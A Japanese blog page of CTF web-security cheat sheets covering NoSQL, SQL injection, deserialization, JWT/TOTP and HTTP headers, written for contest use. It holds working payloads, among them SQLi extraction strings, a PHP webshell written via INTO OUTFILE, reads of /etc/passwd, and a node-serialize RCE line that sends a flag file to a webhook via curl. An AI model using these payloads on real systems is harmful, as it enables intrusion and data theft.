はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるNoSQLまとめ（Redis, MongoDB, GraphQL）

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の6日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Redis

MongoDB

  • ?id=admin&pw=passにアクセスすると、クエリ文が{"id":"admin", "pw": "pass"}となるケースを考える
    • ?id=admin&pw[$ne]=passにアクセスすると、クエリ文が{"id":"admin", "pw": {"$ne": "pass"}}となり、否定なのでパスワードが違っていても大丈夫
  • whereを使う
    • GETパラメタをそのまま検索に使うようなやつなら、whereが使えるかもしれない
    • 例えば、/api/posts?$where=function(){return this.content.includes('flag')}みたいにすると、contentにflagが含まれるものを取得可能。
    • 二分探索っぽく不等式を条件とすれば、Blind SQL Injectionでも使える
  • ObjectID Prediction

SSJI: Server-Side Javascript Injection

Blind NoSQL Injection

  • $regexを使う
    1. 文字種を特定する
      • バイナリサーチできないので、文字種でまずは検索していくのがいい
      • ?id=admin&pw[$regex]=a
    2. 先頭から一文字ずつ特定していく
    3. ?id=admin&pw[$regex]=^abcとすると、{"id":"admin", "pw": {"$regex": "^abc"}}となり、pwを正規表現で取ってこれる
    4. これをlike文のように使って抜き出す
    5. Cyber Apocalypse CTF 2021 Writeup | y011d4.log
      • {"password[$regex]": "CHTB{.*"}を利用する
  • where構文内部の場合
    • obj.pw[0]=='a';こういう文が入れ込めないか考える
    • これが入れ込めれば、特定の文字が何であるかが分かるため、like文の要領で後は頑張る

GraphQL

細かい話題

  • GraphQLのエンドポイントをエスパーして探し出す
    • /graphql /graphqlBatch /graphql.php /graphiql /graphql/console/ /graphql.php?debug=1
    • 難読化jsが沢山呼ばれているときに、graphあたりで検索するとgraphqlのエンドポイントが見つかったりする
  • GraphQLはPOSTでやってるのを見ることが多いが、GETでも受け取れるかも
    • POST {"query": "GraphQL文", "variables": "変数"}
    • GET /graphql?query=HTTP-encodedのGraphQL文&variables=HTTP-encodedの変数
  • Relay Connectionという仕様がある

ペイロード

  • { __schema { types { name } } }でテーブルっぽいのが出てくる
    • { __type(name: \"User\") { name fields { name type { name kind }}}}でUser型の情報
    • {__type(name: \"Access\"){name, kind, fields{name, description, type{name, kind, description}}}}でAccess型についてより詳しく情報が得られるっぽい
  • 使う構造体を調査する
    • { __schema { types { name fields { name type { name kind } } } } }
  • クエリを確認して使う
    1. query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }を実行する
    2. 得られた結果をここでCHANGE SCHEMAでINTROSPECTIONにつっこむ
    3. queryで引数があれば、SQLiとかディレクトリトラバーサルとか試してみよう
  • mutationを確認して使う
    1. { __schema { mutationType { fields { name type { name kind } } } } }で一覧と戻り値が分かる
    2. query { __schema { types { name,fields { name, args { name,description,type { name, kind, ofType { name, kind } } } } } } }の"name": "Mutation"のfieldsを見れば引数が分かる
    3. あとはmutation { authenticateUser(username: \"congon4tor\", password: \"n8bboB!3%vDwiASVgKhv\") { token } }みたいに使う
  • 認証が必要な場合がある
    • 何らかの手段で認証トークンを取得
    • AuthorizationヘッダーをつけてAuthorization: [token]みたいにして認証が必要なクエリを実行する

CTFのWebセキュリティにおけるSQL Injectionまとめ（MySQL/MariaDB, PostgreSQL, SQL Server)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の5日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SQL Injection

DB毎の攻撃まとめ

PostgreSQL

  • ' OR 1=1 --
  • Postgres SQL Injection Cheat Sheet | pentestmonkey
    • ここを見ると抜き出す方法が色々書いてある
  • カラムのconcatが簡単にできる
    • UNION SELECT username || '~' || password FROM usersとすると、admin~passみたいに結合されて出てくる
  • pg_userでユーザー情報を抜き取れる
    • /?search=%5C%27%20%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20&limit=60
    • URLに入れるときは' ;%はエンコードする。,-'()はしない
    • date型を要求された場合は、now()を入れておけば通ったりする
    • \' union select url, session_user, tweeted_at from tweets --のようにどんな場合でもsession_userとすればログインユーザーが得られるみたい
  • コメント /* comment */が使えたりする。-がNGになっていたら、末尾に/*でコメントできるかも
    • ' union select 'admin', 'pass' /*
  • リテラル表現を変えたいとき
    • 単純に 'ad'||'min'で'admin'
    • Unicode表現 'test'と書きたい時にU&'\0074\0065\0073\0074'と書ける
    • two dollar signs 'test'と書きたいときに$$test$$と書ける
      • $$a$$||$$d$$||$$m$$||$$i$$||$$n$$このように書くと'admin'と同様
    • LPAD
      • LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))))とすると、'admin'と同様
    • 部分文字列を抜き出したいとき
      • '123456'::VARCHAR(3)とすると、'123'となる
    • 実はHEX表現もできる
      • adminは0x61646d696eとできる 変換これ&input=YWRtaW4)
  • VALUE句で固定値をUNION可能 UNION VALUE('admin', 'password')
  • Blind Postgresql Sql Injection – Tutorial – dotcppfile's Blog
    • current_databaseが使えないならposgresqlじゃない？
  • カラム名をutf16で指定可能 U&"\0075\0073\0065\0072\006E\0061\006D\0065"

MySQL/MariaDB

  • #が使えたらMySQLだし、そうでなければそれ以外（PostgresSQL, SQLite)
    • /* */もコメントで使える
  • UNIONによる結合で情報を抜く
    • UNION SELECT null,flag FROM flagみたいにやるが、カラムが使えないときは、JOINを使うこともある 参考
  • 暗黙の型変換
    • MySQLでは+演算子は数値の和算として評価されるので'a'+'b'は'ab'ではなくて0+0で0と解釈される
    • 数値として正しくない文字列は0として変換されるらしい
    • これでpassword = 0となるが、またしても暗黙の型c変換が起こり、passwordは一般に数値変換できないので、0=0と認識されて、全件ヒットする
    • ||演算子も論理和として解釈されるので危険らしい
    • パスワードに'=0#を入れると、パスワード比較部分が恒真となったりする
  • UPDATEをインジェクションできたりする
    • 1;UPDATE photos SET filename='* || env > dump.txt' WHERE id = 3;COMMIT;--
    • セミコロンで区切って、それっぽくつなげる。
    • セミコロン後に空白を入れるとダメっぽい？
  • 使用済みペイロード一覧
    • ' OR ''='' #
    • カラム数特定
      • ' UNION SELECT 1 #
      • ' UNION SELECT 1,2 #
    • テーブル情報抜く
      • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • 普通にデータ抜く
      • ' UNION SELECT group_concat(UA), null FROM Agents #
  • 便利なshow構文というのがある
    • 1';show databases;#みたいに複文にして実行する
    • show databases; DB一覧表示（カラム：Database）
    • show tables; 参照可能なテーブル表示
      • show tables from [dbname];# とあるDBにあるテーブル表示（こっちは使わない方がいいかも）
    • show columns from [tablename]; カラム表示
      • show columns from 1919810931114514; なんか分からんけど`をつけないと動かないときがある
  • テーブルをごっそり入れ替えて情報を抜き取る
    • tableAを参照して表示しているサイトがあり、秘密情報がtableBにあるとする
    • 以下のようにして、テーブルを入れ替えて、秘密情報を抜き取る
      1. rename tables tableA to tableABackup; tableAを別に移す
      2. rename tables tableB to tableA; tableBをtableAにする
      3. alter table table change flag id varchar(100); 正しく参照できるようにカラム名を変える
  • 文字列系
    • 普通は'admin'とすればいいが、シングルクオートが使えない場合はCHAR(0x61,0x64,0x6d,0x69,0x6e)のようにして表現可能
      • char(97,100,109,105,110)でもadmin
    • substrはSUBSTRINGと書いても使えるし、MIDと書いても使える（使い方は全部一緒）
    • 文字列比較は大文字小文字は区別しない
      • id='AdmIn'と書いてもいい。こうすると、ちゃんと取ってはこれるけど、入力は厳密にadminではない状況を作れる
  • 論理演算子
  • MySQL 1093 error
    • クエリステートメント内で同じテーブルを呼び出す場合、エラーを発生させる
    • |Lord of SQL_injection| #29 Phantom :: 보안 한 걸음
    • insert into Users values('username',(select password from Users where username='admin'))は成功しそうだが、失敗する
    • 同じテーブルを呼び出しているので、違うテーブルとしてやればいい
      • エイリアスを付けて回避する
        • UsersテーブルをUsers2テーブルとして別名にしている
        • insert into Users values('username',(select password from Users Users2 where username='admin'))
      • 一時テーブルを作成する
        • insert into Users values('username',(select password from (select password from Users where username='admin')))
  • SQLインジェクション外の話
  • LIMIT
    • LIMIT M,Nと書くと「先頭M行をスキップして、N行分取り出す」となる
  • スキーマ=データベース
  • 存在しない関数を呼び出すと、エラーを誘発でき、エラー文が表示される場合はDB名が抜ける
  • inというwordを使わずにテーブル名を抜き出す方法
  • id=-1=0は恒真
    • id=-1がfalseになって0になって0=0でtrue
  • かっこを使ってスペース無しで文を成立させる
  • 暗黙の型変換
  • where years=yearsみたいになってると恒真
  • フィルターでunionできないときは？
  • Fingerprinting MySQL
  • MySQLでinformation_schemaを使用せずに未知のテーブルから情報取得
  • 使えるメソッド
    • database() DBのバージョンとか
    • user() ユーザー名とか
  • 実はLFIできる load_file('/etc/passwd')

SQLite

  • チートシート
  • SELECTドキュメント SELECT
  • テーブル情報を全て抜き出す
    • SELECT group_concat(sql) FROM sqlite_masterとすると、カンマで結合されて1レコードで出てくる 出典
    • SELECT sql FROM sqlite_masterと書くと全部バラバラに出てくる
  • カラム名取得
    • select sql from sqlite_master where type='table' and name='table_name'
  • 末尾コメント -- /*
    • ヌルバイトを終端として利用できる（＝実質ヌルバイトを末尾コメントとして利用できる）
  • 使用済みペイロード
    • 1 OR 1=1
    • moneys='||(select sqlite_version()) --で試せる
  • ASを使って新しいテーブルを作成する
    • SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
    • こういう感じにFROM内部にインジェクションすることで、enemyをぶっこ抜ける
    • SELECT内部はselect 2 as id, enemy as username FROM costume where id like 1と同義
  • 文字列のエスケープ
    • シングルクオートのエスケープは\ではなく、''のように表現する
    • ダブルクオートでも同じ""とするとエスケープで、\"はエスケープになってない
  • SQLiteではDB情報がファイルとして出力されるので、そのファイルが見られてしまうと情報流出する（適切な権限を付けよう）
    • 仮にユーザー毎にDBファイルを作成していて、db_username.dbというファイルを作成していたとする
    • この時にusernameとして、/を入れることができると、db参照時にエラーが発生して、エラー表示を見ることができたりする
    • すると、dbファイル名の規則性が抜き取れるので、db_admin.dbみたいにしてアクセスして、バイナリエディタで中身を見れば、色々分かる
  • VALUE句で固定値をUNION可能 UNION VALUE('admin', 'password')
  • 使えそうなレポート
  • こういう風にしてあったらプリペアードステートメントなので安全
    • cursor.execute("INSERT INTO table VALUES ?", args)
    • だが、例外的にテーブル名の場合は脆弱になる場合があるらしい ここ
  • 文字列系
    • charでdec2charできる id=char(97,100,109,105,110)
    • ||は文字列結合
    • unicode(c) := mysqlとかのasciiと同じ用途で使える
  • last_insert_rowid()=last_insert_rowid()を条件に使ってみて使えたらSQLiteという見分け方もある
  • Baby SQLi - zer0pts CTF 2021 - HackMD
    • sqliteをライブラリを使わずにプロセスコールでやってるときは複文のような感じでSQLiteのコマンドが入れ込める
    • .shell [command]
  • INSERTで任意の情報を抜き取る
    • 入れ子でSELECTを入れ込むことで抜ける
      • insert into visit (post_id, user_id, ua) values (5,2,'$user-agent');で$user-agentに' || (SELECT文) ||'を入れる
  • コンマが使えないとき。以下2つは同じ
    • UNION SELECT null,user()
    • UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b
  • テーブル名は大文字小文字無視する
    • flagでもFlagでも一緒
  • 改行が入ってても無視する
    • 改行をスペースの代わりにできる %0D%0A
  • カラム名として16進数表記をしたいとき SELECT x'686f6765' FROM example; (テーブル名には使えない)

SQL Server (MS SQL)

  • MSSQL Injection Cheat Sheet | pentestmonkey
    • テーブル一覧
      • SELECT name FROM sysobjects WHERE xtype = 'U';
      • select name from sys.tables
    • カラム一覧
      • select name from sys.columns where object_id=オブジェクトID
        • オブジェクトIDはselect object_id from sys.tables where name = 'テーブル名'で取ってこれる
  • コメントは--,/**/
  • エラーを出したいとき
    • Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'z' to data type int.
      • [LOS] nessie
      • 1=(case when 条件 then 'z' end)とすれば条件がtrueならエラーが出る
  • 関数
    • 長さ取得：len
    • 部分文字列：substring
  • HAVING, GROUP BYトリック
    • group by 1でも出る
    • [Lord of SQL Injection] LoS - revenant 문제풀이 | mingzzi
    • ここに書いてある。having 1=1を書いておくと、エラーが出る。かつ、エラーが表示されるようになっていると、カラム名が流出する。
    • 1個とってきたら、group by name1 having 1=1としてエラーを出すと2つ目のカラム名が出てくる。
    • カラム名を入れてうまくいかなかったら[カラム名]のようにするとうまくいったりする（よくわからん）
    • エラーが消えたら全部抜き取り成功
  • エラー文から内容を抜き取る方法
    • password=1をwhereの条件に含めると、passwordに文字列が来ると比較に失敗して、中身がエラー文に表示されてしまう
    • 一時カラム名みたいなカラム名の場合は"9604b0c8"=1のようにダブルクオーテーションで指定する
  • スペースが使えないとき
    • これはデータベース識別子 - SQL Server | Microsoft Docsが使える。
    • 本来は予約語をテーブル名とかにした場合に使うものであるが、これを使うとスペースが必要なくなる。
    • select password from Users where username = 'admin'⇒select[password]from[Users]where[username]='admin'
    • 例：select[pw]from[prob_mummy]where[id]='admin'and[pw]like'A%'
  • 文字列
    • concatするときは'x'||'y'のように||を使う
    • char(97,100,109,105,110)でadminになる

Oracle DB

  • 特徴的なエラー Microsoft OLE DB Provider for ODBC Drivers error '80004005'やMicrosoft VBScript runtime error '800a01a8'
  • DB情報を抜き取るとき
    • テーブル名を全部抜く select table_name from all_tables
      • ALL_TABLES
      • $が入ってるやつはシステム系？
    • テーブル名からカラム名を全部抜く select column_name from all_tab_columns WHERE table_name = 'table'
  • 参考：Union Based Oracle Injection
  • 文字結合は||

細かいテク

  • HowToHunt/SQL_Injection.md at master · KathanP19/HowToHunt
  • SQL文のlimitにインジェクションできるとき
    • limitの後ろにunionでテーブルを追加することはできないが、Blind SQL Injectionを仕掛けることはできる
    • → Blind SQL Injection
  • サニタイジング回避テク
    • 1度だけ置換される、ブラックリストが空文字で変換されるとき
      • selselectectのような感じにすると、内部のselectが消えて、無事selectになってくれる
    • ‘union(select(1),tabe_name,(3)frominformation_schema.tables)#
    • フィルタしている場合
      • ユーザ名：パスワードの組で指定する時に、ユーザ名でadmin'--としてしまう 手法出典 問題：picoCTF2019 Irish-Name-Repo 2
  • 空白の代わりに
    • Space2Comment
      • /**/を使うと空白として扱われれる
      • RITSEC CTF 2018 Space Force 「'=''or'」、「'//union//select//*//from/**/spaceships#」、「'=''#」
      • "union(select/**/table_name/**/frominformation_schema.tables)#
    • 特殊文字をスペース代わりに使える
      • 垂直タブ(%0b)\v
      • Form Feed、改ページ(%0C)
      • \n\r\tも使える
  • limitテク
    • limit 1とすると先頭1つになるが、limit 1,1とすると先頭2つ目、limit 2,1とすると先頭3つ目。
  • バージョン抜き出し
  • substr
    • SUBSTR(string,position,length)
      • positionは1-indexed
    • 代わり substring(), mid(), like 'x%', like hex(x%)
  • ascii代わり hex(), bin(), 0xabcd
  • sleep()代わり benchmark(), WAIT FOR DELAY 'time'(S)
  • Quine SQL query
  • unionが使えないとき
    • blind SQLiするしかない？
  • selectがつかないとき
    • 基本抜き取れない
    • 「MySQLのテーブルをごっそり入れ替えて情報を抜き取る」にあるようなヤバい奴をやる
  • 論理演算子について
    • ANDの方が優先度が高い
      • A=B AND C='[user]'に対して、A=B AND C='' OR D=E AND F='G'となるようインジェクションする
      • 前半のANDはfalseなので実質後半のD=E AND F='G'の評価と等価となる
    • true,falseと書けばboolリテラルになる
  • PHP
  • 文字列系
  • IN構文
    • WHERE user IN("A","B","C")と書くと、userがA,B,Cのいずれかのものが取ってこられる
    • user = 'A'と書くところをuser IN("A")と書ける
  • like構文
    • %を使うと0文字以上のエイリアスとなる。
    • _を使うと任意の1文字のエイリアスとなる。なので、_ __ ___のように増やしていって、文字数を特定するのに使える
  • 末尾のいらない部分について
    • コメントで消す
    • ;%00で消す（ヌルバイト攻撃）
  • 改行ありのSQLについて
    • 例えばselect * from Users where id = 'admin' # [injection]という元のSQL文があるとき、
      • 改行文字である%0aを先頭に入れることで改行されて、コメントの影響を消すことができる
  • INSERT
  • 適当にsleepしたいとき union select sleep(1)をつける
  • WAF bypass
  • スペースと長さの上限を上手く使うテク
    • id char(10)としてテーブル定義されてるときにidにadmin 1を与えたとする
      • こうすると、idが存在するかの検索ではid = 'admin 1'で検索されて、idが存在しないとなるが、
      • updateの歳にはスペースは前後のスペースは無視されるので、adminに対して更新がかかる（ほんとか？検索時にスペースが無視されるだけかも）
  • VERSION()でDBのバージョンとかが抜ける
  • information_schema系
    • SQL標準らしい（ほんとか？）、とりあえずMySQLとPostgreSQLでは使える
    • 通常の流れ ' UNION SELECT GROUP_CONCAT(distinct TABLE_SCHEMA),1,1 FROM INFORMATION_SCHEMA.TABLES # ' UNION select GROUP_CONCAT(distinct table_name),1,1 from information_schema.tables where table_schema = 'search' # ' UNION select GROUP_CONCAT(column_name),1,1 from information_schema.columns where table_name='secrets' # ' UNION select username,password,1 from secrets #
    • スキーマを抜く SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES
      • ちなみにDATABASE()で（デフォルト？）現在使ってるスキーマが分かる
    • テーブルを抜く select GROUP_CONCAT(distinct table_name) from information_schema.tables
    • カラムを抜く select GROUP_CONCAT(column_name) from information_schema.columns where table_name='tablename'
    • information_schema.tables
      • TABLE_SCHEMAを抜き取ると、どれに所属しているか分かる。select distinct table_schema from information_schema.tablesみたいに取り出すのがオススメ
        • information_schema 今使ってるこれ
        • pg_catalog postgresの情報ならここに入ってる
        • public ユーザー定義（自分が見た問題ではそうだった）
      • テーブルではorder by table_typeをつけると先頭にユーザーテーブルが来るみたい
        • 注意としてtable_typeは一意ではないので、同じtable_type内での順番はリクエスト毎に不定になる
    • information_schema.columns
      • PostgreSQL：テーブルとカラムを抜く select concat(TABLE_NAME,COLUMN_NAME) from information_schema.columns
      • MySQL: SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.COLUMNS
      • テーブルからカラムを抜く select column_name from information_schema.columns where table_name='tablename'
    • information_schema.processlist
      • 現在動いているスレッドについての情報が書かれている。
      • quineで使える ' union select substr(info,38,70) from information_schema.processlist%23 ここ
  • Second Order SQL Injection
  • いらない句を文字列に押し込むことで無効化する
    • SELECT useername, password FROM users WHERE username='${usernmame}' AND password='${password}'
      • ad'||'min' group by
      • '
      • こうすると、後ろのpassword部分が文字列に押し込まれてgroup byで使われる。使われても無いので無視されるという寸法
      • group byで押し込む以外にもSUBSTRとかも使える
  • SQL Injection Cheat Sheet | Netsparker
  • order byによる取得カラム数判定
    • [未知のSQL文] order by [番号]の形を作る
    • 番号の部分で未知のSQL文で取得しているカラム数を超えてしまうとエラーになることを利用して二分探索的に探索する
    • つまり、取得カラム数が3ならorder by 1とかorder by 3は成功するが、order by 4やorder by 10は失敗する
  • カラムをくっつけて持ってきたいとき
    • concat(username,0x3a,password)
    • group_concat(username,0x3a,password,0x0a)
  • Error-Based SQL Injection
  • SQLiを使えばDoSができるっぽいがそれどころじゃない気がするので、ちゃんと読んでない
  • order byの中に入れるときのinjection
  • addslashをマルチバイト文字でbypassするテクニック
  • SQLiのwaf bypassテク
  • SQLiを使ってファイル書き込みをする
    • union select "<?php SYSTEM($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'とやればwebshellを置ける
  • アプリケーションとSQL処理で処理方法が違うことを利用
    • スペースの有無
      • adminとadmin
    • Unicode
      • iとı
        • SQLServerだと i == ıとしてwhere内部で処理される

CTFのWebセキュリティにおけるデータ形式まとめ（XML, Json, Insecure Deserialization, XXE)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の4日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

データ形式

  • Web上では様々なデータ形式が利用される。これらのデータ形式には固有の問題がいくつかあり、脆弱性を意識して利用する必要がある
  • インジェクション
    • どのようなデータ形式でもバリデーションとかサニタイズせずに入れると、構造を変化させて、想定外動作を引き起こす可能性がある
  • Insecure Deserialization
    • 入力されたシリアライズドデータをサーバ側で処理する過程、デシリアライズの段階で意図せぬ処理を引き起こさせること
    • RCEできたりする（RCEはWebサーバ上で自由にコマンド実行ができてしまうということ）

JSON

  • インジェクション/JSON Interoperability
  • Insecure Deserialization
    • nodejsのnode-serialize
      • ベースを作って、書き換えたい部分を即時実行関数式に変換する
      • CTFtime.org / Zh3r0 CTF V2 / sparta
        • {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) {console.log(stdout) }); }()"}
        • city=_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"output=$(cat /flag.txt);curl webhook.site/9d7268ea-42bd-48b3-9ede-0be524e773e1?out=$output\",function(error, stdout, stderr) { console.log(stdout)});}()
          • 実行して適当な所に送るやつ
        • {"username":{"toString":"_$$ND_FUNC$$_(()=>{throw require('child_process').execSync('cat /flag.txt')})()"}}
    • nodejsのjavascript-serializer
      • toStringを入れることで文字列として使用される場合に任意コマンド実行される
      • "evil": { "toString": { "___js-to-json-class___": "Function", "json": "console.log('hello!');return'res';" } }
  • JSONP
  • JWT → 別途
  • メモ
    • JSONで制御文字を入れ込むときはunicode表現にして入れる {"username": "admin\u0000"}

XML

他のInsecure Deserialization

CTFのWebセキュリティにおける認証認可まわりまとめ（Cookie/Session、Authentication/Authorization、JWT、IDOR, TOTP, OAuth)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の3日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Cookie

Authentication/Authorization

  • 認証と認可は違うので注意
  • IDOR
    • 認可確認不足があり、とあるリソースを見れてはいけない人が見れてしまう状態になっていること
    • CTFでよくあるのはSQLiteのDBファイルが見れてしまったり、ログファイルが見れてしまったりする
    • 例外のダンプはIDORに入るんだろうか？misconfigurationと言えばそうなのだが、IDORとも言えるのか？

Basic認証まわり

  • Basic認証
    • Basic認証をかけたいフォルダに以下を配置
    • パスワードが暗号化してある場合
      • e.g. admin:$apr1$1U8G15kK$tr9xPq8gjidsrw9e パスワードクラックできる可能性がある
  • Digest認証
    • nonceとかハッシュとかを使う
  • Mutual認証
    • Webブラウザとサーバが相互認証を行う（サーバがクライアントを検証するだけじゃない）

JWT

  • JSONをベースとしたトークン
    • より細かくはRFCを読むほうがいい
    • JOSE: Javascript Object Signing and Encryption
    • JWTはJWSかJWEを使うことができる
      • 署名付きデータの場合はJWS
      • 暗号化する場合はJWE
  • とりあえずJWTの中身を見るときはJSON Web Tokens - jwt.ioを使っている人が多いイメージ。単なるbase64なのでデコードして読んでも良い
  • 攻撃方法 
      - アルゴリズムをnoneにすることで検証を回避する
  - JWTの署名アルゴリズムをnoneにすることで、署名アルゴリズムをトークンから取得するような実装をしているサービスで検証を回避できる。pyjwtを使って、生成するのが簡単。
  - `eyXXXXXXXXXXXXXXX.eyXXXXXXXXXXXXX.`みたいなのを最終的に投げる
  - [CTFtime.org / H@cktivityCon 2021 CTF / SpiralCI](https://ctftime.org/task/17330)
  • 他

OAuth

MFA/TOTP/TOTP

OTP

TOTP

  • 秘密鍵だけを共有して、二者間でトークンの生成と検証を行う
  • 手順
    1. サーバサイドで秘密鍵を作成し、otpauth://を使って生成器（クライアントサイド）に秘密鍵情報を送る （大体はQRコードを使う）
    2. クライアントサイドで秘密鍵と時間を元にトークンを生成する
    3. それをクライアントが入力
    4. サーバサイドは、秘密鍵とトークンと時間を元に正しさを検証する
  • クライアントサイドとサーバサイドは完全に独立しているので、秘密鍵と時間だけを使ってOTP認証を実現する
    • 時間は同じ時間であればいいので、秘密鍵だけ特定できれば、トークンは容易に作れる
  • 秘密鍵からトークンを発行する
    • TOTP Generator
    • oathtool --base32 --totp <SECRET>
      • otpauth://のsecretを入れる
  • otpauth://totp/[ユーザー名]?secret=[秘密鍵]&issuer=[発行者]
    • &issuerは任意
  • できる対策/注意点
    • 秘密鍵をクライアントサイドが紛失した場合はどうするか
    • サーバの時刻は正確に(NTP)
    • 秘密鍵を送るときのresponseをキャッシュされないようにする（文字列とかQR画像とか）
    • 試行回数制限がついているか（総当たり対策）
    • 使用できるトークンについては少し前と少し先のトークンも利用できるようになっているので少し注意
    • 使用済みのTOTPは使えないようにする（再送攻撃対策）
      • 使用済みのTOTPの保存はユーザーID毎に管理すること（セッションとかだと消えちゃう）

SMS

WebAuthn

  • FIDO Allianceという認証機能のプロバイダーが提唱している規格
  • FIDO: Fast IDentity Online
    • 生体認証を簡単に利用できる
    • 生体情報がネットワーク上を流れない
      • 端末で処理して認証サーバから受け取ったチャレンジに応答するだけ

IDOR: Insecure Direct Object Reference

CTFのWebセキュリティにおけるHTTP通信まとめ（HTTP, Request Smuggling, Response Splitting, HTTP2）

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の2日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

HTTP

HTTPのHeaderまとめ

  • Referer: https://www.google.com
    • 直前のページのURL
  • X-Forwarded-For: 123.123.123.123
  • X-Forwarded-Host: attacker.com
    • これをつけるとHostヘッダーの値を見て、URLを作っているようなサイトだと、こっちに書き換えることができる
    • [PoC] Host Header Hijacking in Niteflirt - YouTube
    • パスワード変更時のリンクを奪取するのに使えたりもしますね
  • X-Content-Type-Options: nosniff
  • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • HSTSについての設定
    • HSTS？
      • HSTSとはHTTP接続してきたリクエストに対し、安全にHTTPSに対してリダイレクトさせようとする技術
      • 今までは？
        • 今までの流れは「HTTPリクエストが来る→HTTPレスポンスでhttpsアドレスへリダイレクト要求→HTTPSリクエスト」
        • これだと、HTTPリクエストの過程で中間者攻撃の可能性がある
      • HSTSにはブラウザに対して、このドメインではHTTPS通信してねという要請をヘッダーで行う
        • 1回目のHTTPリクエストはしょうがないが、2回目以降は期限が切れてなければ要請が続くのでHTTPSで安全
        • 最初の1回目も無くそうということでpreload機能というのもある
      • HTTPの口をふさげばいいのでは？
        • 古いサイトだとHTTPでリンク張られたりするから、現実的じゃないパターンがあるのかも
        • 色々調べたけど、決定打は見つからなかった
        • それでは最初の接続時にcookie情報を抜き出されることを防げない。cookieにsecureをつけとけば大丈夫
    • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • preloadにしたURLがChromiumに送られてリスト化されているけど、ステージング環境とかがここに入ってこない？その辺大丈夫？
      • ステージング時は気を付けるべきでは？
  • Feature-Policy: fullscreen 'self'
    • Feature PolicyおよびFeature unsized-mediaの導入ガイド - 銀色うつ時間
      • とても分かりやすい。なるほど。
    • フルスクリーンを抑制できるっぽいが、セキュリティ的なうまみがあるんだろうか
      • ぱっと考えてみると、バナー広告とかが攻撃者に乗っ取られてフルスクリーンを強制するとか？
      • いい記事も、いい攻撃例も思いつかないが、脅しには使えそうな感じはする
  • Referrer-Policy: no-referrer
    • スペルミスが直されている。重複の読み方みたいにrefererでもreferrerでもどっちでもいいと思ってた
    • Refererの指定方法についてのポリシーを通知する。ブラウザへのお願いかな？
    • Referrer-Policy - HTTP | MDN
      • ここを見るとHTMLのタグでも同様のことが行える。ブラウザへのお願いだろう。
  • X-Frame-Options: DENY
    • このレスポンスのページをframeの内部で表示することができるかを指定する
      • クリックジャッキング対策
    • この場合はDENYなので、どんなframeの内部でも表示されない
    • 昨今表示させることはセキュリティリスクぐらいしかないので、DENY固定でいいんじゃないかな？
  • X-XSS-Protection: 1; mode=block
    • ブラウザのXSS防御機構を呼び出すもの
    • X-XSS-Protection - HTTP | MDN
      • ここにもあるように、ChromeがXSS Auditorを止めたのは有名な話
      • 今って、このヘッダーってどういう立ち位置になってるんだろう
    • 正直ブラウザ側が放棄したヘッダーを使うのは少し怖い気がする
      • メンテが終わった機能を使い続けてしまう恐れ
  • Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; font-src 'self'; base-uri 'none'; frame-ancestors 'none'; form-action 'none'; manifest-src 'self'
    • まあ、CSPはいいでしょう。
  • Cross-Origin-Opener-Policy
  • Fetch Metadata Request Headers
  • 日付を指定できる Date: Wed, 21 Oct 2018 07:28:00 GM
  • UA User-Agent: picobrowser
  • DNT - HTTP | MDN
    • Do Not Track
    • DNT: 0 track ok DNT: 1 track ng DNT: null N/A
  • Range
    • 一部持ってきたいときにつける
    • サーバーからAccept-Ranges: bytesとあればRangeがbyte単位で指定して使える
      • CakeCTF 2021 Writeup - 0xiso’s blog
      • nginxの設定ファイルでフラグのパターンマッチで引っかかればマスクされるようになっているのでRangeを使って分割して持ってくる
      • Range: bytes=0-10で前半持ってきて、Range: bytes=8-で後半持ってくる感じ

HTTP Request Smuggling

POST / HTTP/1.1
Host: 127.0.0.1
